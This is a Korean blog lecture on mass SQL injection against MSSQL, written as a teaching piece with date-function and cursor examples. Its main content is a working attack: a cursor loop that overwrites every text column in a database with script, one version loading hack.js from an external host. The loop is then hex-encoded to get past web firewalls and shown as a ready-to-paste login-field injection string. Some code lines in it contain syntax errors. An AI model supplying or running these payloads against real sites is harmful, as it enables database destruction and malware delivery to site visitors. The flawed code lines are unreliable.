본문 바로가기

Hacking/Web Hacking-

[6]WebHacking(웹해킹) - Mass SQL Injection

Mass SQL Injecion

   

한번의 공격으로 대량의 DB값이 변조되어 홈페이지에 치명적인 악영향을 미치는 공격

   

  • IDS/IPS/WAF 를 우회하기 위해 공격을 수행할때 사용되는 값들을 인코딩함
  • DB값을 변조할때 악성 스크립트가 삽입됨
  • 사용자들은 변조된 사이트를 방문 시 봇이 설치되어 온라인 게임 계정해킹 및 해당 시스템이 DDOS의 Zombie가 되기도 함.

   

   

웹방화벽우회 기법

소스코드를 HEX값으로 변환후 삽입

   

   

날짜시간 데이터 출력

   

  • datename(part,date)
  • datepart(part,date)

   

  • select convert(char,getdate) [현재날짜]
  • select datename(yy,getdate()), datepart(yy,getdate()) [년도]
  • select datename(qq,getdate()),datepart(qq,getdate()) [분기]
  • select datename(mm,getdate()),datepart(mm,getdate()) [월수]
  • select datename(dy,getdate()),datepart(dy,getdate()) [일수]
  • select datename(dd,getdate()),datepart(dd,getdate()) [해당 일]
  • select datename(wk,getdate()),datepart(wk,getdate()) [주수]
  • select datename(dw,getdate()),datepart(dw,getdate()) [요일]
  • select datename(hh,getdate()),datepart(hh,getdate()) [시간]

   

   

   

EX-1)

use webhack

   

--토요일/일요일이면 '주말'을 출력, 아니면 '주중' 출력

select datepart(dw,getdate())

   

if datepart(dw,getdate()==7 or datepart(dw,getdate())=1

begin

print 'weekend'

end

else

begin

print 'weekday'

end

   

 

 

   

   

EX-2)

--

declare @counter int

set @counter=20

while @counter >0

begin

print'The counter is '+convert(varchar(10),@counter)

set @counter=@counter-1

end

   

 

 

   

EX-3)

--member의 행의 총 수를 출력

declare @membercounter int

select @membercounter=count(*) from member

select @membercounter

   

 

 

   

   

   

[ trim() 함수 ]

- trim() 함수는 하나의 문자열에서 공백을 제거하는데 사용된다. DB에 따라서 함수명의 차이가 있다.

  • MySQL : TRIM(), RTRIM(), LTRIM()
  • Oracle : RTRIM(), LTRIM()
  • SQL Server : RTRIM(), LTRIM()

       

각각의 함수의 프로그래밍은 다음과 같다.

  • TRIM(문자열) : 문자열의 좌우 모든 스페이스를 제거한다.
  • LTRIM(문자열) : 문자열의 왼쪽 스페이스를 제거한다.
  • RTRIM(문자열) : 문자열의 오른쪽 스페이스를 제거한다.

       

   

   

[ Cursor ]

SQL을 사용해서 선택한 행들은 결과 집합이라는 것으로 반환된다. 이 결과 집합은 지정한 SQL문에 맞는 모든 행을 포함하는 것으로 0개 이상의 행을 가지게 된다. 간단한 SELECT 문을 사용해서는 결과 집합에 있는 첫번째 행, 다음 행, 이전 10개의 행등을 얻어낼 방법이 없으며, 이것이 바로 관계형 DBMS가 필요한 이유이다.

   

결과 집합 : SQL 쿼리에 의해 반환되는 결과

   

행 사이를 앞으로 또는 뒤로 이동하면서 특정한 위치에 있는 행을 가져와야 할 경우가 있으며, 이때 필요한 것이 바로 커서이다. 커서는 DBMS서버에 저장되는 데이터베이스 쿼리로 SELECT 문은 아니지만 이 문에 의해 결과 집합이 얻어진다. 커서가 저장되면 응용 프로그램에서는 자유롭게 이 커서를 사용하여 내부 데이터를 필요에 따라 탐색하고 가져올수 있다.

   

 

 

   

   

   

Mass SQL exec query

   

masssql exec.txt

   

[ 내용 설명 ]

declare @t varchar(1000), @c varchar(1000)

   

declare cur cursor for

   

select table_name, column_name from information_schema.columns

   

where data_type like '%varchar%' or data_type like '%text%'

   

open cur

   

fetch next from cur into @t, @c

   

while @@fetch_status = 0

begin

exec('update ' + @t + ' @set ' + @c '=''<script>alert("xss");</script>''')

fetch next from cur into @t,@c

end

   

close cur

   

deallocate cur

   

Table_name, Column_name 을 위한 변수선언

@t는 테이블 명을 입력 받기 위한 변수 이고, @c는 컬럼 명을 입력 받기 위한 변수이다.

   

declare @t varchar(1000), @c varchar(1000)

   

Cursor 변수 선언 및 정의

information_schema.columns에서 데이터 타입이 varchar과 text인 table이름과 column이름을 검색하고 커서를 선언한다.

   

declare cur cursor for

select table_name, column_name from information_schema.columns

Where data_type like '%varchar%' or data_type like '%text%'

   

Cursor open

커서를 open하고 검색한 결과 집합을 커서에 담는다.

   

open cur

   

결과를 하나의 Row 단위로 선언된 변수에 저장

커서를 이동하면서 테이블 이름과 컬럼 이름을 각각 @t와 @c 변수에 담는다.

   

FETCH NEXT from cur into @t, @c

   

시스템함수를 이용하여 Cursor 가 가리키는 곳의 데이터 유무 파악

@@FETCH_STATUS 결과 0:데이터 존재 / 0 이외의 값 : 데이터 없음

   

While @@FETCH_STATUS = 0

Begin

   

Exec 를 통해 변수를 이용한 Update 수행

fetch문이 성공하는 동안 해당 테이블에 정보를 update한다. 이때 @t가 가리키는 테이블의 @c 컬럼 항목에 스크립트 코드를 삽입한다. 다시 말해서 해당 컬럼에 있는 데이터가 스크립트 값으로 변경되는 것이다.

   

exec('update '+@t+' set '+ @c +'="<script src=http://IP/hack.js></script>"')

   

Cursor 위치 Next Row 이동

'

fetch next from cur into @t, @c

end

   

Cursor 메모리 해제

   

close cur

deallocate cur

   

   

   

위의 코드를 HEX값으로 변환후

 

 

   

변환후 변수선언부와함께 한줄로 삽입

   

[ HEX code ]

admin' ; declare @all varchar(4000); set @all=0x6465636c61726520407420766172636861722831303030292c20406320766172636861722831303030290d0a6465636c6172652063757220637572736f7220666f720d0a73656c656374207461626c655f6e616d652c20636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e730d0a776865726520646174615f74797065206c696b65202725766172636861722527206f7220646174615f74797065206c696b652027257465787425270d0a6f70656e206375720d0a6665746368206e6578742066726f6d2063757220696e746f2040742c2040630d0a7768696c6520404066657463685f737461747573203d20300d0a2020626567696e0d0a202020206578656328277570646174652027202b204074202b2027207365742027202b204063202b20273d27273c7363726970743e616c657274282278737322293b3c2f7363726970743e272727290d0a202020206665746368206e6578742066726f6d2063757220696e746f2040742c40630d0a2020656e640d0a636c6f7365206375720d0a6465616c6c6f6361746520637572; exec(@all) --

   

   

로그인창에 변환한 코드 입력

 

 

   

 

 

   

실행결과 - 변경된 데이터

 

 

 

강의가 조금 어렵죠?

MASS SQL INJECTION에 대해 조금더 찾아보시면 될겁니다.

 

즐거운 하루 되시길 ^-^..

Post BY-- 임종욱

Write By- 임종욱 + CISA